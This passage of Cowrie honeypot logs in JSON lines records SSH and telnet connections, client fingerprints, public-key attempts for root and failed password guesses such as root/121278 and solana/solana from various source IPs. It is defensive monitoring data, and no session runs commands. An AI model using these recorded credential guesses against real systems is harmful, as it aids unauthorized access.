{"eventid":"cowrie.login.failed","username":"root","password":"121278","message":"login attempt [root/121278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:47.928888Z","src_ip":"103.15.222.183","session":"f460d11cfcad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:49.187515Z","src_ip":"103.15.222.183","session":"f460d11cfcad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.9698965549469,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:05.325281Z","src_ip":"172.81.62.90","session":"23e3ec2ea38a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":33310,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dc75c429837","protocol":"ssh","message":"New connection: 46.19.67.181:33310 (10.17.0.5:22) [session: 6dc75c429837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:09.507932Z"}
{"eventid":"cowrie.session.closed","duration":27.122788906097412,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:13.310093Z","src_ip":"107.6.151.170","session":"ec0dcd867a26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48884,"dst_ip":"159.203.135.109","dst_port":23,"session":"1889d62bec83","protocol":"telnet","message":"New connection: 172.81.62.90:48884 (159.203.135.109:23) [session: 1889d62bec83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:21.998308Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58296,"dst_ip":"10.17.0.5","dst_port":22,"session":"635f365f0836","protocol":"ssh","message":"New connection: 80.94.92.184:58296 (10.17.0.5:22) [session: 635f365f0836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:30.227988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:30.232561Z","src_ip":"80.94.92.184","session":"635f365f0836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:30.474817Z","src_ip":"80.94.92.184","session":"635f365f0836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39926,"dst_ip":"159.203.135.109","dst_port":23,"session":"16fe685f5bf2","protocol":"telnet","message":"New connection: 172.81.62.90:39926 (159.203.135.109:23) [session: 16fe685f5bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:32.637336Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:34.756984Z","src_ip":"80.94.92.184","session":"635f365f0836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:35.175174Z","src_ip":"80.94.92.184","session":"635f365f0836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.189.225","src_port":12316,"dst_ip":"10.17.0.5","dst_port":22,"session":"d73ef8dcc846","protocol":"ssh","message":"New connection: 62.210.189.225:12316 (10.17.0.5:22) [session: d73ef8dcc846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:42.603079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:42.605674Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:42.684055Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:65:4a:9b:5d:f4:65:b2:63:cf:94:14:52:c8:ef:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3QGXh2L2/QG6q7gmqMVsjqQZAdrEUXtDKEgz0EYWyjaqnp/hmOCEpUN/tX9cclBAGN82Zajb0Tvq6FO+Vuo+4B1zF8ZbQYfKZMRe03uN2eDP1NJYh/guSFF+sZaqq0p8q98Rr1eokqMrkJROGckAbJ9BPgLctZzI/Qj8zNuN67NwwqKEWadfkanYu72hjcSwh9YNiIAducU29T8A3MXaxSFmXS/iBfYX2KEynVd34ZD6e08QortWSwh9eJR0iZoaxI8jYW8bivPUd+EWZgVYZ9v0ihlbN/nJFt8bYcRySm9gig4g6XIjJqt/IF6EKs0PhziWpnlex4wJ/5weTuvlxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:65:4a:9b:5d:f4:65:b2:63:cf:94:14:52:c8:ef:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.063663Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:65:4a:9b:5d:f4:65:b2:63:cf:94:14:52:c8:ef:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3QGXh2L2/QG6q7gmqMVsjqQZAdrEUXtDKEgz0EYWyjaqnp/hmOCEpUN/tX9cclBAGN82Zajb0Tvq6FO+Vuo+4B1zF8ZbQYfKZMRe03uN2eDP1NJYh/guSFF+sZaqq0p8q98Rr1eokqMrkJROGckAbJ9BPgLctZzI/Qj8zNuN67NwwqKEWadfkanYu72hjcSwh9YNiIAducU29T8A3MXaxSFmXS/iBfYX2KEynVd34ZD6e08QortWSwh9eJR0iZoaxI8jYW8bivPUd+EWZgVYZ9v0ihlbN/nJFt8bYcRySm9gig4g6XIjJqt/IF6EKs0PhziWpnlex4wJ/5weTuvlxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.067578Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:1f:37:94:25:af:6f:b0:92:7d:78:20:3f:bf:5e:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3f0oBQMP4gp6tHLwzQaIjk3BcnqbJts44abRvHt62kwzyOdAZBNHOBocOX0aAyQCQ9GNLHxoE5kCH/9EOG3qbpjZx2wtd2UFtj8MMuyoFpLvV3VEm8WCcMhiep29dXhxnBJa5hAXom86g1tpGDDv3QHnar2f72VEhI1qUR2MQfG6mP+UjpX1MmO8Sok6/vBJgmSmyWczdOFpCchmFG/xhEh32ezmpxwBbVjo4IuQzrmxa/GzOxUgIxeRKg8+LEA7fKG7Q4KCcV/cOJbRMJSEgofH55NnWFB7FfRWbvm5dToD1ZlmiyDA9IcQGgKXMvecoXN0920y/Xg6OHTlaviup","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:1f:37:94:25:af:6f:b0:92:7d:78:20:3f:bf:5e:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.148722Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:1f:37:94:25:af:6f:b0:92:7d:78:20:3f:bf:5e:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3f0oBQMP4gp6tHLwzQaIjk3BcnqbJts44abRvHt62kwzyOdAZBNHOBocOX0aAyQCQ9GNLHxoE5kCH/9EOG3qbpjZx2wtd2UFtj8MMuyoFpLvV3VEm8WCcMhiep29dXhxnBJa5hAXom86g1tpGDDv3QHnar2f72VEhI1qUR2MQfG6mP+UjpX1MmO8Sok6/vBJgmSmyWczdOFpCchmFG/xhEh32ezmpxwBbVjo4IuQzrmxa/GzOxUgIxeRKg8+LEA7fKG7Q4KCcV/cOJbRMJSEgofH55NnWFB7FfRWbvm5dToD1ZlmiyDA9IcQGgKXMvecoXN0920y/Xg6OHTlaviup","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.151621Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:59:f2:c5:e3:45:68:1e:bf:e9:c1:b0:be:28:ad:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0OYqkYgVAFEv/rEbgUK+Jqn9jkTJwXXTRBIFO3Dmly6fTaMaTuSla6MRUX3cjYJpMa4RSBk6XlThU4eMoDXM3RfKtP996RxwovLTStzohnlFO9/eA7Gso2uo/PW6zSKkWkG/vIpyZIC1DJxaW9w5Ki/pA61pCQ+AmoTnF02rSpaH2uRrpOpTgMcQ8OHAUiy0VcpBfYMQIRwBVJR3pSKCBZDhXNXbntKvhisrVAtoUutfCS9udWGiNt819bu9ndTKFBwAQ+Hl1TPaddX+jtCBZUqXFOYORIcO+zHCaigyL16pNk4S9xjW7RkSxLV9FapMV9pIqMn4ZZvSidu3yM6+uQwi/3Vkjvr4/mZ52bpk8gU4sMxvHEuSMDr3N2foFL13SVMSDAG2hhlJnrP7Qszju5aQ3uXXqV/qx5HttivYY8pA3fMHi1EOVByjg584mYzRTVmomHQQbz2QLpjD8W0Td1+MgbQSSrhun160321ARMjCpPn7umYyTSX8XeCwg4H0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:59:f2:c5:e3:45:68:1e:bf:e9:c1:b0:be:28:ad:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.235400Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:59:f2:c5:e3:45:68:1e:bf:e9:c1:b0:be:28:ad:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0OYqkYgVAFEv/rEbgUK+Jqn9jkTJwXXTRBIFO3Dmly6fTaMaTuSla6MRUX3cjYJpMa4RSBk6XlThU4eMoDXM3RfKtP996RxwovLTStzohnlFO9/eA7Gso2uo/PW6zSKkWkG/vIpyZIC1DJxaW9w5Ki/pA61pCQ+AmoTnF02rSpaH2uRrpOpTgMcQ8OHAUiy0VcpBfYMQIRwBVJR3pSKCBZDhXNXbntKvhisrVAtoUutfCS9udWGiNt819bu9ndTKFBwAQ+Hl1TPaddX+jtCBZUqXFOYORIcO+zHCaigyL16pNk4S9xjW7RkSxLV9FapMV9pIqMn4ZZvSidu3yM6+uQwi/3Vkjvr4/mZ52bpk8gU4sMxvHEuSMDr3N2foFL13SVMSDAG2hhlJnrP7Qszju5aQ3uXXqV/qx5HttivYY8pA3fMHi1EOVByjg584mYzRTVmomHQQbz2QLpjD8W0Td1+MgbQSSrhun160321ARMjCpPn7umYyTSX8XeCwg4H0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.238320Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:d0:85:1f:98:11:da:f7:9d:13:f0:d5:b7:aa:95:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABEQAAAIEAsIHBOHjxK2OuPXosrWNnGGlhXk1CqVsx3Ac0HEOufGK+ehkt+uXctliVnPBRaPKf4zhD5JtlbdyB/xdZabl4pTFg1vIxtT752oo08P/p9puxNiX/jJOdOjPuZxPqVhg/ok0T0JD9Tfdpyiri4VSbw0PF5K22khjv3Oc0ez7TPkM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:d0:85:1f:98:11:da:f7:9d:13:f0:d5:b7:aa:95:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.317769Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:d0:85:1f:98:11:da:f7:9d:13:f0:d5:b7:aa:95:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABEQAAAIEAsIHBOHjxK2OuPXosrWNnGGlhXk1CqVsx3Ac0HEOufGK+ehkt+uXctliVnPBRaPKf4zhD5JtlbdyB/xdZabl4pTFg1vIxtT752oo08P/p9puxNiX/jJOdOjPuZxPqVhg/ok0T0JD9Tfdpyiri4VSbw0PF5K22khjv3Oc0ez7TPkM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.320662Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:49:d3:4e:d5:a6:92:92:ed:ee:61:5c:5d:12:17:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbq0LXkcxNVwyXFi6TLmk/QckCBeF4IbOLtIz9A9pQOdvjtgTnP03zLA66FIcE9i5znOTNim86lel2dLA+5R5LZCnqmbgdgmD608DFylUf+oOKxz4P8Z2dSMoaxcakH4V27alQM0czvjxBZquLqtsfRNKYUFGe/O1SyRcVvWPaYjLbieZK5Zw1TI1KdmPPa4eTHBA0Dj6mj0YQvaUC4KGPEP//DLb0Rf1jUYXJgktQnYkdNPYxyR7nBFCGU9gNHz9U6QEZ8h3bKtiUK58ZsbsIAkGcHE7Lvaiy28FLGwypdKzFTwWAQ88FK6v3Sz+ARhdWdggRDVpEzDNr0lwrWyA7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:49:d3:4e:d5:a6:92:92:ed:ee:61:5c:5d:12:17:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.400677Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:49:d3:4e:d5:a6:92:92:ed:ee:61:5c:5d:12:17:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbq0LXkcxNVwyXFi6TLmk/QckCBeF4IbOLtIz9A9pQOdvjtgTnP03zLA66FIcE9i5znOTNim86lel2dLA+5R5LZCnqmbgdgmD608DFylUf+oOKxz4P8Z2dSMoaxcakH4V27alQM0czvjxBZquLqtsfRNKYUFGe/O1SyRcVvWPaYjLbieZK5Zw1TI1KdmPPa4eTHBA0Dj6mj0YQvaUC4KGPEP//DLb0Rf1jUYXJgktQnYkdNPYxyR7nBFCGU9gNHz9U6QEZ8h3bKtiUK58ZsbsIAkGcHE7Lvaiy28FLGwypdKzFTwWAQ88FK6v3Sz+ARhdWdggRDVpEzDNr0lwrWyA7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.403903Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:43.483594Z","src_ip":"62.210.189.225","session":"d73ef8dcc846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.80524754524231,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:34:58.803435Z","src_ip":"172.81.62.90","session":"1889d62bec83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":51526,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1badb86f515","protocol":"ssh","message":"New connection: 27.71.230.31:51526 (10.17.0.5:22) [session: e1badb86f515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:35:03.574742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:35:03.610097Z","src_ip":"27.71.230.31","session":"e1badb86f515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:35:03.830768Z","src_ip":"27.71.230.31","session":"e1badb86f515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin892","message":"login attempt [root/Admin892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:35:08.780575Z","src_ip":"27.71.230.31","session":"e1badb86f515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:35:10.372595Z","src_ip":"27.71.230.31","session":"e1badb86f515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.489110708236694,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:35:12.126487Z","src_ip":"172.81.62.90","session":"16fe685f5bf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":38546,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c51939ce2ad","protocol":"telnet","message":"New connection: 166.62.124.255:38546 (159.203.135.109:23) [session: 7c51939ce2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:35:33.146143Z"}
{"eventid":"cowrie.session.closed","duration":30.718846321105957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:03.864867Z","src_ip":"166.62.124.255","session":"7c51939ce2ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:09.518686Z","src_ip":"46.19.67.181","session":"6dc75c429837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":37280,"dst_ip":"10.17.0.5","dst_port":22,"session":"693884ca4e7c","protocol":"ssh","message":"New connection: 37.233.85.71:37280 (10.17.0.5:22) [session: 693884ca4e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:20.987332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:20.991388Z","src_ip":"37.233.85.71","session":"693884ca4e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 